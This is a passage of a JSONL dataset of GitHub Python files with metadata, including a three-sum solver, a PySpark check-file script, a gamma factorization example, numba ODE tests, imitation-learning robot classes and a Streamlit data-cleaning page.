"usage_type": "call"}, {"api_name": "random.randint", "line_number": 328, "usage_type": "call"}, {"api_name": "random.random", "line_number": 334, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 343, "usage_type": "call"}]} +{"seq_id": "3739156684", "text": "from typing import List\n\n\ndef three_num_sum(array:List[int], target:int) -> List[int]:\n array.sort()\n triplets= []\n for i in range(len(array)):\n left = i+1\n right = len(array) - 1\n while left < right:\n current_sum = array[i] + array[left] + array[right]\n if current_sum == target:\n triplets.append([array[i], array[left], array[right]])\n left += 1\n right -= 1\n elif current_sum < target:\n left += 1\n elif current_sum > target:\n right -=1\n return triplets\n \n\n\n\nif __name__ == \"__main__\":\n arr = [12, 3, 1, 2, -6, 5, -8, 6]\n t = three_num_sum(arr, 2)\n print(t)", "repo_name": "thiagoliof/AlgoExpert", "sub_path": "calc_three_sum.py", "file_name": "calc_three_sum.py", "file_ext": "py", "file_size_in_byte": 726, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "typing.List", "line_number": 4, "usage_type": "name"}]} +{"seq_id": "34945790", "text": "\nfrom pyspark.sql import SparkSession\nimport sys\nimport os.path\n\nif len(sys.argv) != 2:\n raise ValueError(\"Usage: <export_model_dir>\")\n\nexport_model_dir = sys.argv[1]\n\nspark = SparkSession.builder.getOrCreate()\nsc = spark.sparkContext\nhadoop_conf = sc._jsc.hadoopConfiguration()\n\np = sc._gateway.jvm.org.apache.hadoop.fs.Path(export_model_dir)\nfs = p.getFileSystem(hadoop_conf)\nfiles = fs.listStatus(p)\n\nfiles = [f.getPath().toString() for f in files]\nfiles = [f for f in files if os.path.basename(f).startswith('1')]\nmodel_dir = sorted(files)[-1]\n\nts = os.path.basename(model_dir)\ncheck_file = os.path.join(model_dir, ts + '.check')\np = sc._gateway.jvm.org.apache.hadoop.fs.Path(check_file)\nif fs.createNewFile(p):\n print(\"Create check file '{}' successfully.\".format(check_file))\nelse:\n raise ValueError(\"Create check file '{}' failed.\".format(check_file))\n", "repo_name": "xuzhezhaozhao/EasyCTR-release", "sub_path": "tools/spark_fuel/add_check_file.py", "file_name": "add_check_file.py", "file_ext": "py", "file_size_in_byte": 868, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sys.argv", "line_number": 6, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pyspark.sql.SparkSession.builder.getOrCreate", "line_number": 11, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pyspark.sql.SparkSession", "line_number": 11, "usage_type": "name"}, {"api_name": "os.path.path.basename", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 20, "usage_type": "name"}, {"api_name": "os.path.path.basename", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 23, "usage_type": "name"}, {"api_name": "os.path.path.join", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 24, "usage_type": "name"}]} +{"seq_id": "14000860989", "text": "import sys\nfrom path import Path\nsys.path.append(Path(__file__).parent.parent)\nfrom apf.models.prgpmf import PRGPMF\n\nimport numpy as np\nimport numpy.random as rn\nimport scipy.stats as st\nimport sktensor as skt\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\ndef prg(alpha, lambd, size=1):\n \"\"\"Sample from the Poisson-randomized gamma.\"\"\"\n shapes = rn.poisson(alpha, size=size)\n gammas = np.zeros_like(shapes)\n gammas[shapes > 0] = rn.gamma(shapes[shapes > 0], 1./lambd)\n return gammas\n\nn_cells = 10 # number of observed cells\nn_genes = 30 # number of observed genes\nn_feats = 5 # number of latent features\n\nalpha = 1.0 # prior rate of latent poisson counts\nlambd = 1.0 # prior rate of latent gamma variables\n\nseed = 617 # random seed (default=None)\nn_threads = 4 # number of CPU threads to parallelize over\n\n\n# Generate a synthetic toy data set\ntrue_A_IK = prg(alpha, lambd, size=(n_genes, n_feats)) # synthetic genes x feats matrix\ntrue_P_JK = prg(alpha, lambd, size=(n_cells, n_feats)) # synthetic cells x feats matrix\ntrue_M_IJ = true_A_IK.dot(true_P_JK.T) # synthetic mean of observed counts\ntrue_Y_IJ = np.zeros_like(true_M_IJ, dtype=int) # synthetic observed counts\ntrue_Y_IJ[true_M_IJ > 0] = rn.poisson(true_M_IJ[true_M_IJ > 0])\n\nsubs = true_Y_IJ.nonzero() # subscripts where the ndarray has non-zero entries \nvals = true_Y_IJ[true_Y_IJ.nonzero()] # corresponding values of non-zero entries\nsp_data = skt.sptensor(subs, # create an sktensor.sptensor \n vals,\n shape=true_Y_IJ.shape,\n dtype=true_Y_IJ.dtype)\n\nsns.heatmap(true_Y_IJ, cmap='Blues')\nplt.show()\n\nmodel = PRGPMF(n_genes=n_genes,\n n_cells=n_cells,\n n_feats=n_feats,\n alpha=alpha,\n lambd=lambd,\n seed=seed,\n n_threads=n_threads)\n\nn_samples = 100 # how many posterior samples to collect\nn_burn_in = 100 # how iterations of burn-in before starting to collect\nthin_rate = 10 # how many samples to thin between collected samples\n\nout_dir = Path('samples') # directory to save collected samples to\nout_dir.makedirs_p()\n\nverbose = thin_rate # how often to print information to terminal\n\n# initialize and burn-in the model\nmodel.fit(sp_data, n_itns=n_burn_in, initialize=True, verbose=0)\n\n# run iterations after burn-in\nfor _ in range(n_samples):\n model.fit(true_Y_IJ, n_itns=thin_rate, initialize=False, verbose=verbose)\n\n state = dict(model.get_state()) # collect sample\n itn_num = model.total_itns # mcmc iteration number\n np.savez_compressed(out_dir.joinpath('state_%d.npz' % itn_num), **state) # serialize sample\n\n\n# example of how to analyze results\nall_samples = out_dir.files('state*.npz')\n\nsample_path = all_samples[0]\nitn_num = int(sample_path.namebase.split('_')[1])\nprint('Inspecting posterior sample from MCMC iteration %d...' % itn_num)\n\n# samples (aka \"states\") are stored in numpy compressed files\nstate = np.load(sample_path) # load them like this\nprint(state.files) # see what arrays they contain like this\n\nA_IK = state['A_IK'] # load the inferred genes x features gamma matrix\nP_JK = state['P_JK'] # load the inferred cells x features gamma matrix\nAlpha_IK = state['Alpha_IK'] # load the inferred genes x features count matrix\nAlpha_JK = state['Alpha_JK'] # load the inferred cells x features count matrix\n\n# visually compare the inferred genes x features gamma matrix to the \"true\" one\n# NOTE: due to label-switching, the rows/cols may not be aligned between them\nsns.heatmap(A_IK, cmap='Blues')\nplt.show()\n\nsns.heatmap(true_A_IK, cmap='Blues')\nplt.show()\n\n", "repo_name": "aschein/prgpmf", "sub_path": "src/scripts/example_prgpmf.py", "file_name": "example_prgpmf.py", "file_ext": "py", "file_size_in_byte": 3834, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sys.path.append", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "path.Path", "line_number": 3, "usage_type": "call"}, {"api_name": "numpy.random.poisson", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 17, "usage_type": "name"}, {"api_name": "numpy.zeros_like", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.random.gamma", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 19, "usage_type": "name"}, {"api_name": "numpy.zeros_like", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.random.poisson", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 38, "usage_type": "name"}, {"api_name": "sktensor.sptensor", "line_number": 42, "usage_type": "call"}, {"api_name": "seaborn.heatmap", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "apf.models.prgpmf.PRGPMF", "line_number": 50, "usage_type": "call"}, {"api_name": "path.Path", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.savez_compressed", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 87, "usage_type": "call"}, {"api_name": "seaborn.heatmap", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "seaborn.heatmap", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}]} +{"seq_id": "25730858755", "text": "# ------------------------------------------------\n# This script has been used to update irregularity values in the database according to the new metric\n# Can be deleted if not needed anymore\n# ------------------------------------------------\nimport os\nimport sqlite3\nimport time\n\nfrom pcfitting.eval_scripts.eval_db_access_v2 import EvalDbAccessV2\nfrom pcfitting import programs, MaxIterationTerminationCriterion, RelChangeTerminationCriterion, PCDatasetIterator, \\\n data_loading, GMSampler\nfrom pcfitting.generators import GradientDescentGenerator, EMGenerator, EckartGeneratorSP, EckartGeneratorHP, PreinerGenerator\nfrom pcfitting.error_functions import AvgDensities, ReconstructionStats, GMMStats, Smoothness, ReconstructionStatsProjected, ReconstructionStatsFiltered\nimport time\nimport gmc.mixture\nfrom gmc.cpp.gm_vis.gm_vis import GMVisualizer\nimport torch\nimport matplotlib\nimport matplotlib.image as mimg\nmatplotlib.use('TkAgg')\n\n\n\nmodel_path = r\"K:\\DA-Eval\\dataset_eval_big\\models\"\nfitpc_path = r\"K:\\DA-Eval\\dataset_eval_big\\fitpcs\"\nevalpc_path = r\"K:\\DA-Eval\\dataset_eval_big\\evalpcs\\n100000\"\nrecpc_path = r\"K:\\DA-Eval\\dataset_eval_big\\recpcs\"\ngengmm_path = r\"K:\\DA-Eval\\dataset_eval_big\\gmms\"\nrendering_path = r\"K:\\DA-Eval\\dataset_eval_big\\renderings\"\ndb_path = r\"K:\\DA-Eval\\EvalV3.db\"\n\n#evalstats = GMMStats(False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, True, True, True)\n#evalsmooth = Smoothness(subsamples=10000)\nrecstats = ReconstructionStatsFiltered(ReconstructionStatsProjected(ReconstructionStats(rmsd_scaled_by_nn=False, md_scaled_by_nn=False, cv=True, inverse=False, chamfer_norm_nn=False, sample_points=100000)))\ndbaccess = EvalDbAccessV2(db_path)\n\ncur = dbaccess.connection().cursor()\nsql = \"SELECT EvalDistance.ID, EvalDistance.run, Run.modelfile, NNScaling.factor FROM EvalDistance JOIN Run ON EvalDistance.run = Run.id JOIN NNScaling ON Run.modelfile = NNScaling.modelfile WHERE EvalDistance.std_s_projfil IS NULL\"\ncur.execute(sql)\nstats = cur.fetchall()\n\ni = 0\nfor stat in stats:\n i = i + 1\n eid = stat[0]\n runid = stat[1]\n modelfile = stat[2]\n nnfactor = stat[3]\n print(runid, \" / \", (100 * i / len(stats)), \"%\")\n gma = data_loading.read_gm_from_ply(os.path.join(gengmm_path, str(runid).zfill(9) + \".gma.ply\"), ismodel=False)\n pcpath = os.path.join(evalpc_path, modelfile)\n pcbatch = data_loading.load_pc_from_off(pcpath)\n pcbatch.nnscalefactor = nnfactor\n print(\" Evaluating\")\n modelpath = os.path.join(model_path, modelfile)\n statvalues = recstats.calculate_score_packed(pcbatch, gma, modelpath=modelpath)\n print(\" Saving\")\n sql = \"UPDATE EvalDistance SET std_s_projfil = ?, cv_s_projfil = ? WHERE ID = ?\"\n dbaccess.connection().cursor().execute(sql, (statvalues[0].item(), statvalues[1].item(), eid))\n dbaccess.connection().commit()\n\n", "repo_name": "cg-tuwien/Gaussian-Mixture-Convolution-Networks", "sub_path": "src/pcfitting/eval_scripts/update_stats_4_smooth.py", "file_name": "update_stats_4_smooth.py", "file_ext": "py", "file_size_in_byte": 2891, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "matplotlib.use", "line_number": 20, "usage_type": "call"}, {"api_name": "pcfitting.error_functions.ReconstructionStatsFiltered", "line_number": 34, "usage_type": "call"}, {"api_name": "pcfitting.error_functions.ReconstructionStatsProjected", "line_number": 34, "usage_type": "call"}, {"api_name": "pcfitting.error_functions.ReconstructionStats", "line_number": 34, "usage_type": "call"}, {"api_name": "pcfitting.eval_scripts.eval_db_access_v2.EvalDbAccessV2", "line_number": 35, "usage_type": "call"}, {"api_name": "pcfitting.data_loading.read_gm_from_ply", "line_number": 50, "usage_type": "call"}, {"api_name": "pcfitting.data_loading", "line_number": 50, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "pcfitting.data_loading.load_pc_from_off", "line_number": 52, "usage_type": "call"}, {"api_name": "pcfitting.data_loading", "line_number": 52, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}]} +{"seq_id": "19144985652", "text": "import nbkode\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom numbalsoda import lsoda,lsoda_sig\nfrom numba import njit,cfunc\nfrom numba import numba as nb\n\n#from utils.network.network_from_rvr_file import combine_rvr_prm\n#from model400names import STATES_NAMES\nimport time\n\ndef test1():\n start_time = time.time()\n def rhs(t, y):\n return -0.1 * y\n y0 = 1.\n t0 = 0\n solver = nbkode.RungeKutta45(rhs, t0, y0)\n ts = np.linspace(0, 1)\n ts, ys = solver.run(ts)\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n plt.plot(ts, ys) \n plt.show()\n\ndef test2(t,q,p):\n def fun(t,q,p): #t in minutes, q in m3/h\n velocity = (0.1)\n channel_len_m = (500.0)\n #idx_up = p[2]\n #q_aux = np.zeros(shape=(q.shape[0]+1),dtype=np.float16)#fail\n q_aux = np.zeros(shape=(q.shape[0]+1)) #wont fail. dont pass type. numba infer it\n q_aux[1:] = q #dont fail\n #q_upstream = np.zeros(q.shape[0])\n #q_upstream = np.array([np.sum(q_aux[x]) for x in idx_up]) #m3/h\n #velocity *=60*60 #m/s to m/h\n #dq_dt = np.array((1/channel_len_m )* velocity * (-1*q_aux[1:] + q_upstream))\n dq_dt = ((1.0)/channel_len_m )* velocity #* (-1*q_aux[1:])\n return dq_dt\n\n rvr_file ='../examples/cedarrapids1/367813.rvr'\n prm_file ='../examples/cedarrapids1/367813.prm'\n network = combine_rvr_prm(prm_file,rvr_file)\n nlinks = network.shape[0]\n states = pd.DataFrame(\n data = np.zeros(shape=(nlinks,len(STATES_NAMES))),\n columns=STATES_NAMES)\n states['link_id'] = network['link_id'].to_numpy()\n states.index = states['link_id'].to_numpy()\n states['discharge']=1\n velocity = 0.5 #m/s\n idx_up = network['idx_upstream_link'].to_numpy()\n q = np.array(states['discharge'],dtype=np.float16) #force everything to float16\n t0=0\n channel_len_m = np.array(network['channel_length'])\n start_time = time.time()\n p =[velocity,channel_len_m,idx_up] #p must be array, not tuple?\n p=[0.1,0.2]\n solver = nbkode.RungeKutta45(fun, t0, q, params=p)\n ts, ys = solver.step(n=1)\n\ndef test3():\n #https://stackoverflow.com/questions/57706940/solving-ode-with-large-set-of-initial-conditions-in-parallel-through-python\n start_time = time.time()\n @cfunc(lsoda_sig)\n def rhs(t, u,du,p):\n du[0]= u[0]-u[0]*u[1]\n du[1] = u[0]*u[1]-u[1]\n\n funcptr = rhs.address\n t_eval = np.linspace(0.0,20.0,201)\n np.random.seed(0)\n \n @nb.njit(parallel=True)\n def main(n):\n u1 = np.empty((n,len(t_eval)), np.float64)\n u2 = np.empty((n,len(t_eval)), np.float64)\n for i in nb.prange(n):\n u0 = np.empty((2,), np.float64)\n u0[0] = np.random.uniform(4.5,5.5)\n u0[1] = np.random.uniform(0.7,0.9)\n usol, success = lsoda(funcptr, u0, t_eval, rtol = 1e-8, atol = 1e-8)\n u1[i] = usol[:,0]\n u2[i] = usol[:,1]\n return u1, u2\n\n u1, u2 = main(10000)\n usol, success = lsoda(funcptr, u0, t_eval, data = data)\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n print(usol)\n\ndef test4():\n @cfunc(lsoda_sig)\n def rhs(t, u,du,p):\n du[0]= u[0]-u[0]*u[1]\ntest3()", "repo_name": "fquintero82/hpy", "sub_path": "test/test_numba_ode.py", "file_name": "test_numba_ode.py", "file_ext": "py", "file_size_in_byte": 3236, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "time.time", "line_number": 14, "usage_type": "call"}, {"api_name": "nbkode.RungeKutta45", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 20, "usage_type": "call"}, {"api_name": "time.time", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 32, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.float16", "line_number": 53, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 55, "usage_type": "call"}, {"api_name": "time.time", "line_number": 56, "usage_type": "call"}, {"api_name": "nbkode.RungeKutta45", "line_number": 59, "usage_type": "call"}, {"api_name": "time.time", "line_number": 64, "usage_type": "call"}, {"api_name": "numba.cfunc", "line_number": 65, "usage_type": "call"}, {"api_name": "numbalsoda.lsoda_sig", "line_number": 65, "usage_type": "argument"}, {"api_name": "numpy.linspace", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 72, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 76, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 77, "usage_type": "attribute"}, {"api_name": "numba.numba.prange", "line_number": 78, "usage_type": "call"}, {"api_name": "numba.numba", "line_number": 78, "usage_type": "name"}, {"api_name": "numpy.empty", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 79, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 80, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 81, "usage_type": "attribute"}, {"api_name": "numbalsoda.lsoda", "line_number": 82, "usage_type": "call"}, {"api_name": "numba.numba.njit", "line_number": 74, "usage_type": "call"}, {"api_name": "numba.numba", "line_number": 74, "usage_type": "name"}, {"api_name": "numbalsoda.lsoda", "line_number": 88, "usage_type": "call"}, {"api_name": "time.time", "line_number": 89, "usage_type": "call"}, {"api_name": "numba.cfunc", "line_number": 93, "usage_type": "call"}, {"api_name": "numbalsoda.lsoda_sig", "line_number": 93, "usage_type": "argument"}]} +{"seq_id": "5351211721", "text": "\"\"\" This code will help you create your robot, load demonstrations from an\nexpert robot, and let your robot imitate the demonstrations.\n\nLook over the class functions below to figure out how!\n\"\"\"\nimport gym\nimport moviepy.editor as mpy\nfrom multiprocessing import Process, Queue\nimport numpy as np\nimport pickle\n\nfrom gym_torcs import TorcsEnv\nfrom utils import Robot\n\nclass ImitationRobot(Robot):\n \"\"\" Robot that can imitate. \"\"\"\n def __init__(self, robot_name):\n self.robot_name = robot_name\n self.loss = None\n if 'hopper' in robot_name.lower():\n env = gym.envs.make('Hopper-v1')\n self.name = 'hopper'\n elif 'walker' in robot_name.lower():\n env = gym.envs.make('Walker2d-v1')\n self.name = 'walker'\n elif 'ant' in robot_name.lower():\n env = gym.envs.make('Ant-v1')\n self.name = 'ant'\n elif 'cheetah' in robot_name.lower():\n env = gym.envs.make('HalfCheetah-v1')\n self.name = 'cheetah'\n else:\n raise ValueError('Unknown robot name')\n self.env = env\n self.max_timesteps = min(env.spec.timestep_limit, 1000)\n self.demos_loaded = False\n super(ImitationRobot, self).__init__(env)\n\n def run(self):\n \"\"\" Runs the robot in the environment and returns a video clip.\n \"\"\"\n obs = self.env.reset()\n video = []\n for t in range(self.max_timesteps):\n video.append(self.get_image())\n action = self.get_action(obs)\n obs, _, _, _ = self.env.step(action)\n video_clip = mpy.ImageSequenceClip(video, fps=20*2)\n return video_clip\n\n\n def load_demonstrations(self, num_demos=50):\n \"\"\" Loads the specified number of expert demonstrations. \"\"\"\n if num_demos > 50:\n raise ValueError('Specified number of demos must be at most 50.')\n self.num_demos = num_demos\n with open('experts/' + self.name + '_demos.pkl', 'rb') as f:\n self.expert_data = pickle.load(f)\n self.expert_data['observations'] = self.expert_data['observations'][:num_demos*self.max_timesteps]\n self.expert_data['actions'] = self.expert_data['actions'][:num_demos*self.max_timesteps]\n self.expert_video_clip = mpy.ImageSequenceClip(self.expert_data['video'], fps=20*2)\n self.expert_data['video'] = None\n self.demos_loaded = True\n\n def show_demonstrations(self):\n \"\"\" Returns a video of the expert demonstration trajectories. \"\"\"\n return self.expert_video_clip\n\n def set_loss(self, loss_func):\n \"\"\" Sets the loss function for imitation. \"\"\"\n self._set_loss(loss_func)\n\n def train_step(self):\n \"\"\" Runs one training step and returns the current error. \"\"\"\n if self.loss == None:\n print('Loss needs to be set before training')\n return\n if self.demos_loaded == False:\n print('Expert demonstrations need to be loaded before training')\n return\n return self._train_step(self.expert_data['observations'], self.expert_data['actions'])\n\nclass ImitationCar(Robot):\n \"\"\" Car that can imitate. \"\"\"\n def __init__(self, port=3101):\n self.loss = None\n self.name = 'car'\n self.env = TorcsEnv(vision=False, throttle=False, port=port)\n ob = self.env.reset(relaunch=False)\n obs_shape = self.process_obs(ob)\n self.max_timesteps = 1000\n self.demos_loaded = False\n super(ImitationCar, self).__init__(self.env, dim_action=1, dim_obs=2)\n\n def run(self, timesteps=None):\n \"\"\" Runs the car in the environment and prints how long the car drove without crashing.\n \"\"\"\n if timesteps is None:\n timesteps = self.max_timesteps\n\n obs = self.env.reset(relaunch=False)\n print('The car is driving.')\n for i in range(timesteps):\n distance_traveled = round(obs.distRaced, 2)\n if i == 0:\n action = np.array([0.0])\n else:\n action = self.get_action(obs)\n obs, _, done, _ = self.env.step(action)\n if done:\n print('The car drove ' + str(distance_traveled) + ' feet in ' + str(i) + ' timesteps, and then crashed.')\n break\n elif i > 0 and i % 100 == 0:\n print('The car has driven ' + str(distance_traveled) + ' feet in ' + str(i) + ' timesteps.')\n\n if not done:\n print('Congrats!! The car drove without crashing.')\n print('The car drove ' + str(distance_traveled) + ' feet in ' + str(i) + ' timesteps.')\n\n\n def load_demonstrations(self, num_demos=10):\n \"\"\" Loads the specified number of expert demonstrations. \"\"\"\n if num_demos > 10:\n raise ValueError('Specified number of demos must be at most 10.')\n self.num_demos = num_demos\n with open('experts/' + self.name + '_demos.pkl', 'rb') as f:\n self.expert_data = pickle.load(f)\n self.expert_data['observations'] = self.expert_data['observations'][:num_demos*self.max_timesteps]\n self.expert_data['actions'] = self.expert_data['actions'][:num_demos*self.max_timesteps]\n\n self.expert_video_clip = mpy.VideoFileClip('experts/car_demo.gif')\n self.expert_video_clip = self.expert_video_clip.cutout(0,5)\n self.demos_loaded = True\n\n def show_demonstrations(self):\n \"\"\" Returns a video of the expert demonstration trajectories. \"\"\"\n return self.expert_video_clip\n\n def set_loss(self, loss_func):\n \"\"\" Sets the loss function for imitation. \"\"\"\n self._set_loss(loss_func)\n\n def train_step(self):\n \"\"\" Runs one training step and returns the current error. \"\"\"\n if self.loss == None:\n print('Loss needs to be set before training')\n return\n if self.demos_loaded == False:\n print('Expert demonstrations need to be loaded before training')\n return\n return self._train_step(self.expert_data['observations'], self.expert_data['actions'])\n\n\n", "repo_name": "cbfinn/bair_camp", "sub_path": "2017/part2/project_part2.py", "file_name": "project_part2.py", "file_ext": "py", "file_size_in_byte": 5581, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "16", "api": [{"api_name": "utils.Robot", "line_number": 15, "usage_type": "name"}, {"api_name": "gym.envs.make", "line_number": 21, "usage_type": "call"}, {"api_name": "gym.envs", "line_number": 21, "usage_type": "attribute"}, {"api_name": "gym.envs.make", "line_number": 24, "usage_type": "call"}, {"api_name": "gym.envs", "line_number": 24, "usage_type": "attribute"}, {"api_name": "gym.envs.make", "line_number": 27, "usage_type": "call"}, {"api_name": "gym.envs", "line_number": 27, "usage_type": "attribute"}, {"api_name": "gym.envs.make", "line_number": 30, "usage_type": "call"}, {"api_name": "gym.envs", "line_number": 30, "usage_type": "attribute"}, {"api_name": "moviepy.editor.ImageSequenceClip", "line_number": 48, "usage_type": "call"}, {"api_name": "moviepy.editor", "line_number": 48, "usage_type": "name"}, {"api_name": "pickle.load", "line_number": 58, "usage_type": "call"}, {"api_name": "moviepy.editor.ImageSequenceClip", "line_number": 61, "usage_type": "call"}, {"api_name": "moviepy.editor", "line_number": 61, "usage_type": "name"}, {"api_name": "utils.Robot", "line_number": 83, "usage_type": "name"}, {"api_name": "gym_torcs.TorcsEnv", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 106, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 127, "usage_type": "call"}, {"api_name": "moviepy.editor.VideoFileClip", "line_number": 131, "usage_type": "call"}, {"api_name": "moviepy.editor", "line_number": 131, "usage_type": "name"}]} +{"seq_id": "11363875419", "text": "'''\nData Preparation page. When user select EDA->Clean Data, will call clean_data_main()\n'''\nimport streamlit as st\nfrom streamlit_extras.add_vertical_space import add_vertical_space\n\ndef clean_data_main(column):\n with column:\n st.title(\"Clean Data\")\n context_container = st.container()\n\n with context_container:\n st.header(\"How to handle the missing value?\")\n st.text(\"Steps:\")\n st.text(\"1. Identify and understand missing data\")\n st.text(\"2. Develop a plan for handing missing data\")\n st.text(\"3. Decide on the most appropriate method\")\n \n st.divider()\n button_col, display_col = st.columns([1, 3])\n\n with button_col:\n check_na_button = st.button(\"Check Missing Value\")\n add_vertical_space(2)\n fill_median_button = st.button(\"Fill By Median\")\n add_vertical_space(2)\n fill_mode_button = st.button(\"Fill By Mode\")\n\n with display_col:\n if \"check_na_button\" not in st.session_state:\n st.session_state['check_na_button'] = 0\n \n if check_na_button:\n st.session_state['check_na_button'] +=1\n if st.session_state['check_na_button'] %2 != 0:\n data = st.session_state['dataset']\n st.write(\"The following code checks missing value\")\n st.code(\"data.isna().sum()\")\n st.write(data.isna().sum())\n \n if \"fill_median_button\" not in st.session_state:\n st.session_state['fill_median_button'] = 0\n \n if fill_median_button:\n st.session_state['fill_median_button'] +=1\n if st.session_state['fill_median_button'] %2 != 0:\n data = st.session_state['dataset']\n st.write(\"The following code fill the missing value by median\")\n st.code(\"data['feature'].fillna(data['feature'].median(), inplace = True)\")\n st.write(\"Needs further development\")\n\n if \"fill_mode_button\" not in st.session_state:\n st.session_state['fill_mode_button'] = 0\n \n if fill_mode_button:\n st.session_state['fill_mode_button'] +=1\n if st.session_state['fill_mode_button'] %2 != 0:\n data = st.session_state['dataset']\n st.write(\"The following code fill the missing value by mode\")\n st.code(\"data['feature'].fillna(data['feature'].mode(), inplace = True)\")\n st.write(\"Needs further development\")", "repo_name": "JackieChennn/Educative-Machine-Learning-Dashboard", "sub_path": "AboutData/clean_data.py", "file_name": "clean_data.py", "file_ext": "py", "file_size_in_byte": 2679, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "streamlit.title", "line_number": 9, "usage_type": "call"}, {"api_name": "streamlit.container", "line_number": 10, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 13, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 14, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 15, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 16, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 17, "usage_type": "call"}, {"api_name": "streamlit.divider", "line_number": 19, "usage_type": "call"}, {"api_name": "streamlit.columns", "line_number": 20, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 23, "usage_type": "call"}, {"api_name": "streamlit_extras.add_vertical_space.add_vertical_space", "line_number": 24, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 25, "usage_type": "call"}, {"api_name": "streamlit_extras.add_vertical_space.add_vertical_space", "line_number": 26, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 27, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 30, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 31, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 34, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 35, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 36, "usage_type": "attribute"}, {"api_name": "streamlit.write", "line_number": 37, "usage_type": "call"}, {"api_name": "streamlit.code", "line_number": 